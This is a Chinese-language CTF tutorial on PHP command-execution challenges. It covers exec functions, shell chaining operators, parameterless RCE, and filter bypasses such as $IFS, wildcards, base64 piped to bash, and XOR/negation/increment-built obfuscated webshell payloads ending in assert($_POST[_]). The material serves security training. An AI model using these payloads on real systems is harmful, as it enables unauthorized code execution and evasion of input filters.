命令执行
命令执行可以说是贯彻整个比赛的要点,不然你发现漏洞了都不知道怎么提取flag,别告诉我你只会F12,ctrl+U找(๑‾᷅^‾᷅๑)
前言
这类知识点主要靠对函数和命令的熟练度和扩展度,能达成目的的方法不止一步,要掌握常见的函数和文件读取的命令,同时要学会如何利用一些特性去绕过黑名单。推荐去B站看橙子科技的视频,那里不止有命令执行的,希望对你有帮助。
常见函数
system
最常用的也是最好用的函数,通常能用system了就代表里找到flag不远了,最常规的用法就是system(“ls”);确认一下flag所在文件名,然后system(“cat flag.php”);注意:大多数情况下分号也是不能少的,因为这是一条语句。
当然也会出现找不到flag的现象,我们可以用system(“ls /“);去根目录找,也可以system(“env”);调用环境变量去找,注意:有的题目flag所在的文件名不是flag.php,去找相类似的,或者很长很怪的文件名去试。在不济,就使用一句话木马连接蚁剑去翻,详情去木马那一章去看。
exec
exec通常有两个参数,exec($command,$output),第一个参数输入要执行的命令,作为单独使用时只有最后一行的结果,且不会回显;第二个参数是将命令执行的输出填充此数组,逐行填充数组(二维数组),用法:使用var_dump或 print_r输出output里面的$变量。 例如:print_r($output);
passthru
一个参数,输入要执行的命令,会输出二进制的数据,并直接回显,且回显的是正常数据,和system一样好用,例如:passthru(“ls”);
shell_exec
看到exec就要想到这是不回显的,但是区别就是它只有一个参数,用一个变量去接它,然后使用echo和print等输出结果,例如:$output = shell_exec(‘ls’); echo $output;
反引号` `
这个同shell_exec一样,也是用echo和print输出结果,它需要跟单引号‘’分清楚,反引号在数字1的左边那个才是,弄错了输出的结果肯定也不一样。建议自己去试一下。
popen
两个参数popen($command,$mode),第一个参数输入命令,第二参数为模式,’r’表示阅读,’w’表示写入。同上面不同的是,有个open,这个有关文件,所以要先用fgets读取再用print_r输出,例如:
1 | $a = popen($command,'r'); |
fgets只读取一行,因此需要靠循环遍历。这个不常遇到,可以先了解一下。
常见文件读取命令
下面的命令建议打开你的kali或者linux去实践一下,印象更深更明白。在web下,要跟上面的函数搭配使用才是正解。
ls和cat
最常用的一组命令,dddd
1 | ls / |
tac
与cat功能类似,只不过是反向显示(从表面上看就知道,就是cat的reverse)。例如:tac flag.txt
more和less
more:一页一页的输出,等同cat,区别自己实践一下。
less: 同上。
1 | more flag.php |
tail
显示文件的最后几行(默认显示最后10行),例如:tail flag.php
nl
显示的时候,顺便输出行号,例如:nl flag.php
od和xxd
od:以二进制的方式读取档案内容
xxd:读取二进制文件,很显然,有二进制,通常和passthru进行搭配使用
1 | ?cmd=passthru("od -A d -c flag.php"); |
sort
主要用于排序文件,但也能达成目的,例如:sort flag.txt
uniq | file -f | grep
uniq:报告或删除文件中重复的行
file -f:报错出具体内容
grep:在文本中查找指定的字符串
操作系统链接符
;
这个应该都知道,代表这条语句的结束,后面可以继续跟命令,可以使多个命令按顺序执行,自行去kali试一下,如果php中遇到过滤,可以用?>代替,它代表着代码的结束。例如id;ls;pwd
&
一样的效果,使命令在后台运行,这样就可以同时执行多条命令,注意在GET传参的时候必须URL编码
,&的URL为%26。例如?c=ls%26cat flag.php
&&
和逻辑与的语法一样,两边为命令的时候,前面的命令执行成功才会执行后面的命令,反之则不会执行后面的命令,同上,必须URL编码
,例如?c=ls%26%26cat flag.php
|
将前面命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;是不是看起来有点生涩?没关系,看个例题就明白了。
echo “ls -l”这个是只显示”ls -l”,而不是命令。
echo “ls -l” | /bin/bash这个是/bin/bash把”ls -l”当成参数执行,也就是执行了ls -l这条命令。
||
继承了逻辑或的语法,还有短路原则,换个更容易理解的就是相当于if else语句,若前面的命令执行成功,后面的命令就不会执行,反之执行后面的命令;例如
ls || >dev/null 2>&1后者相当于一个垃圾桶,你的所有输出都会被丢进去,”>”代表的是重定向,还有2和1具体代表什么感兴趣的可以再去看一下,目前只要知道这样的格式代表的是垃圾桶就好。好,回归正题,如果没有||,作为顺序输出的话,就不会有回显;反之,ls正常输出,后面就不会执行了。
无参数命令执行
通俗来说就是函数里面没有有参数,比如phpinfo()是不是,里面没有参数照样能用,那么一些能利用的函数有哪些呢???
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
像是正则里面的那两个就代表过滤了参数,就只能使用无参了。
get_defined_vars()
返回所有已定义的变量的值,然后对应成数组(注:如果有多个请求方法,返回数组的顺序为GET->POST->COOKIE->FILES),例如:定义了cmd=system(“ls”);那么执行print_r(get_defined_vars());时,将会回显[cmd]=>system(“ls);这是我们就可以用pos来提取出参数里面的值system(“ls”),什么,你说没有变量怎么办?笨蛋,不知道自己编一个吗?我们可以这样
1 | ?code=print_r(end(pos(get_defined_vars())));&cmd= ("ls"); |
注意只要后面的那个变量,用end提取(别问,问就是code我们也算变量啵,定义了两个变量就有两个数组,我们用后面那个cmd的),这样就可以输出system(“ls”);同理,我们只要把print_r换成eval,assert就可以执行命令了,所以payload通常是:
1 | ?code=assert(end(pos(get_defined_vars())));&cmd=system("ls"); |
大杂烩
不解释了,看图
用法:
1 | print_r(localeconv()); //查看当前目录文件名,形式同get_defined_vars的排列一样 |
那么最终的payload就为:
1 | ?code=show_source(current((aray_reverse(scandir(current(localeconv())))))); |
同理,getcwd()也可以达成目的,那么另一种的payload就为:
1 | ?=show_source( (scandir(getcwd()))); |
对照上面的函数,我们还可以用读取上一级目录的随机文件名(直到随机到flag即可),payload如下:
1 | ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
payload不是一成不变的,根据题目使用实用的函数,看你的熟练度如何了。
推荐博客:无参RCE
推荐视频: 橙子科技
session_start()
这个难度系数有点高,可以自己去看视频实践一下,平常情况不推荐使用,失误率也蛮大的。
绕过
替换函数绕过
之所以介绍这么多常见的命令和函数就是为了达成这个目的,看黑名单内没有其中的哪些(个)函数和命令就可以用它实现一样的效果。
1 | if(!preg_match("/exec/system/popen/proc_open|\`/i",$_GET['c'])) |
很明显,对照上面的函数,还有passthru没有过滤,就可以使用该函数,?c=passthru(“ls”);
空格过滤绕过
空格过滤是属于比较烦的一种,尤其在SQL注入中┻┻︵⁞=༎ຶ﹏༎ຶ=⁞︵┻┻,算了,我们先看这里的。
大括号{}
顾名思义就是用大括号将命令括起来,中间用,分割,例如{cat,flag.txt};
$IFS 代替空格
这个建议去kali用一下,原理就是Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符,既然是分隔符,就能起到空格的作用。通常能单纯的$IFS会被当作变量名,就加一对{}固定变量名所以就是${IFS},例如ls${IFS}-l
再者就是$IFS$9,后面加个$和{}类似,起截断作用,$9是当前系统shell进程的第九个参数,代表这空字符串,所以这也是一种,例如ls$IFS$9-l
这两个在题目中最常用也最好用了,要知道。
URL编码
就是使用空格和制表符的URL编码代替空格,在执行是会自动转换为空格使用,%09(tab)%20(space),例如cat%09flag.php和cat%20flag.php
重定向字符<,<>
上面也提过一嘴,就是把<后面跟的文件取代键盘作为新的输入设备,具体原理我也不清楚(谁会了到时候指导我一下ヾ(❀╹◡╹)ノ゙❀~),不推荐使用,用法1:
1 | cat<flag.php |
而这另一种用法较为广泛,例如题目中出现类似与shell_exec()这种函数没有回显的情况下,我们可以用重定向,将结果放入指定的文件中,用法2:
1 | ls / > 1.txt |
特定字符过滤绕过
这种过滤一般针对一些特定的字符,全过滤的在后面,比如flag这四个,或者f,l,a,g四个字符单独过滤,后者意味这不能有这四个字母的出现,前者只是它们不能连着,很显然,后者相对难处理些,那么,就看看有哪些方法吧。
通配符绕过
通配符是整个操作系统都认可的一种形式,用来模糊搜索文件。只有这两个?和*
?可以代表任何单个
字符串,来让系统自行继续匹配搜索。例如cat fl?g.tx?
*可以进行模糊匹配,代表任何字符串,让系统自己猜我要什么- ̗̀(๑ᵔ⌔ᵔ๑)。例如cat f*(如果有多个匹配结果会同时显示)
单双引号绕过
原理就是接一个’’或者””里面什么都没有默认空字符,然后系统再拼接在一起,例如cat fl’’ag.ph””p
反斜杠绕过
这个就是将特性字符去掉功能性,单纯表示为字符串,比如反引号,要想表现出来得在前面加, 比如”`“(这里我加了,只是你们看不到而已)同理,我们就可以用它将他们分隔开,在命令中同样有效,例如cat fl\ag.t\xt
特殊变量
上面就有提到,$9作为特殊的环境变量,代表着空字符,所以也可以用,例如cat fl$9.txt
内联执行
之前不是说过操作系统链接符可以顺序嘛,我们就可以先自定义字符串,再拼接起来,例如a=f;d=ag;c=l;cat $a$c$d.txt
编码绕过
众所周知,目标服务器在识别到编码后会自动解码读取命令并执行,就可以绕过那个笨比检测了(U・ω・)⊃
比如最熟悉的base编码(64,32都可),将命令编码一下再传输就可以了。通常通过管道符执行命令。
1 | echo Y2FOIGZsYWcucGhw | base64 -d | bash |
重定向绕过
呐,又是这两个>,>>。知道一下就可以(其实是我也不擅长doge),通常用来做长度限制绕过的,不常用。
下面的方法专门针对单独过滤情况。
利用Linux的环境变量和区间取值
在Linux中PATH是默认系统环境变量,我们可以使用特殊的调用方法,来提取相应的字符,每个字符对应一个下标,从0开始,跟数组一样。但有限,论好用还得是区间取值。
1 | cat f${PATH:5:1}${PATH:8:1}${PATH:72:1} |
区间取值就是顾名思义,用[]框起来表示范围,然后让Linux自行匹配。顺带提一句,八进制也可以执行。
1 | more [d-h][k-m][9-z][e-h] |
无字母数字绕过
上面那个只是过滤了一些特定字符,而这种不仅过掉了所有字母,还有数字。那该怎么办呢,还有符号呢!!!我们只需构造出新的变量就可以跑去那边shell了。统一构造assert($_POST[])
。而不能使用的字符数字我们可以使用URL 编码
绕过。注:针对php5版本,在学web的时候,要对版本很敏感,不同的版本有不同的特性和方法。
异或运算绕过
异或^就是两位对象转成二进制0和1相比较,既然异或可以,那么单独的或|和与&也是可以的,相同为零,不同为1。根据上面所说的,则有a:’%40’^’%21’ ; s:’%7B’^’%08’ ; s:’%7B’^’%08’ ; e:’%7B’^’%1E’ ; r:’%7E’^’%0C’ ; t:’%7C’^’%08’; P:’%0D’^’%5D’ ; O:’%0F’^’%40’ ; S:’%0E’^’%5D’ ; T:’%0B’^’%5F’
拼接起来就为:
1 | $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]); //assert($_POST[_]); |
然后POST那边就可以命令执行了,例如_=system(“cat flag.php”)
取反绕过
取反~就是assert和_POST取反(废话),就不多说了,直接上payload
1 | $_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]); |
它还有一种方法,就是文字取反,感兴趣的可以去搜搜。它的payload有点长,可以先去本地试一下。
1 | %24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B |
自增绕过
原理就是, 嗯……,直接看其他师傅的吧:无字母数字,他那边的payload跟我的是一样,甚至前面还有源码和解释。
1 | %24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B |
结语
你已经划到这了,我就默认你看完了哈。恭喜你,已经学了很多知识了,当然还有更多的知识等着你,不知道你有没有看完另外两大知识点呢——>文件包含,文件上传。这三个统称为WEB三巨头,后面还有SQL,SSTI,反序列等知识期待你来学,别着急,慢慢来。 ( ੭ ˙ᗜ˙ )੭